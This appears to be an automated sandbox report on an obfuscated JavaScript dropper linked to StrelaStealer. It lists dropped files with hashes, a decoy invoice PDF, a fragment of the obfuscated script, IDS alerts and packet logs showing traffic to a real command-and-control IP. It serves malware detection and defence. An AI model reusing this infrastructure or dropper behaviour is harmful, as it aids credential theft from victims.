Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9cbe6944-7c62-407f-b795-47e582322190.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15321), with CRLF line terminators
Entropy (8bit):	4.917930345190548
TrID:
File name:	321646101945257.js
File size:	18'788 bytes
MD5:	26f3f4d92b14c17bc37987cf83e0dbdd
SHA1:	7ce57b6e4cdf2a46ec9d0f1b936b02d30ef64298
SHA256:	c4236e0c107bd91d248c8c011c19c48dfb27190514ce53d2e37fd82f5a17d2a2
SHA512:	9df0c895441d2083e1725dfafb466652d26366397eaa21b62d78e334154aae2ebfd712c58119331121616978289c526bbc412e998ec9284ca609fe39220400ea
SSDEEP:	384:ryKaZINTliiZChOIX6Dr06rkwXVf4EfhchzM3K4PWOo2OU05i4uamk/xiodSm52u:mK/4uamk/xldyTy
TLSH:	8E8211B4DA4F5A730FF900FA846100FA32DD02584AE555E5E956FD9D4B27F60E2E20F8
File Content Preview:	function edxbrmgdy(){huwtnokyc=[1031,3079,5127,4103,2055,3072];var elosvz=this[drltwmunq+jxnjvdt+mbtucurp+aghnckrgg+dlknze+xcfjb+axwpvuus+dmxdfe](this[lybbfdtth+drwvs+hontsrcv+mbtucurp+mgntvwkpp+drltwmunq+dmxdfe][gikfhd+mbtucurp+dlknze+jxnjvdt+dmxdfe+dlkn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:11:22.522410+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:11:22.522410+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:11:25.504531+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:11:21.697428942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:21.702970028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:21.703150988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:21.706913948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:21.711854935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522136927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522161007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522280931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522295952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522317886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522330999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522341967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522355080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522397041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522408962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.522409916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.522409916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.522409916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.522464991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.522464991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.527295113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.527308941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.527410030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.579940081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.579957008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.580182076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.651269913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651289940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651302099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651325941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651340008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651400089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.651442051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.651604891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651618958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651629925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651634932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651648045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.651652098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.651690960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.652493954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.652508020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.652520895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.652573109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.652987957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653001070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653012037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653038025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.653065920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653069019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.653079987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653126001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.653915882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653938055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.653950930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.654000044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.710942030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.754797935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.757416010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.757436037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.757451057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.757541895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.779833078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.779853106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.779866934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780020952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780046940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780045986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.780062914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780075073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780087948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780100107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.780102015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.780134916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.780145884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783279896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783304930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783343077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783360958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783384085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783406019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783417940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783425093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783432007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783447027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783461094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783464909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783473015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783487082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783490896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783499002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783512115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783523083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783544064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783562899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783582926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783595085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783607006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783616066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783620119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783634901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783646107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783649921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783664942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783673048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783678055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783690929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783690929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783704996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783724070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783750057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.783754110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783775091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.783803940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.784605980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784621000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784635067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784648895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784661055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784672976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784677982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.784686089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.784704924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.784724951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.785491943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.785554886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.798202038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.798238039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.798388958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.844333887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.844363928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.844504118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.886817932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886840105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886861086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886883020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886899948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886912107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.886991978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.887039900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.908822060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.908948898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.908967018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.908982038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909046888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.909090042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.909112930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909127951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909142971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909169912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.909455061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909470081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909483910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909517050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.909545898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.909626007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909640074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.909686089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.910146952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910161972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910177946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910191059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910207033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.910232067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.910290003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910762072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910785913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910800934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910818100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.910835028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.910902023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910924911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.910964966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.911254883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911268950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911283970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911323071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.911425114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911439896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911467075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.911922932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911937952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.911968946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.912097931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912112951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912127018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912133932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912148952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912153006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.912175894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.912205935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.912754059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912770033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912815094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.912931919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912946939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912960052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912974119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912988901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.912990093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.913017988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.913687944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913703918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913718939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913743019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.913767099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.913856983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913872957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913887024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913902998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.913919926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.913938999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.914665937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914680004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914695978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914710045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914725065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914732933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.914752960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.914848089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914861917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.914887905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.915678024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915692091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915705919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915719032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915725946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.915734053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915749073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915755033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.915764093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.915785074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.915808916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.915930033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.916471004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916486025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916507006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916521072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916534901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916538000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.916551113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.916558981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.916588068 CET	49704	80	192.168.2.5	193.143.1.205
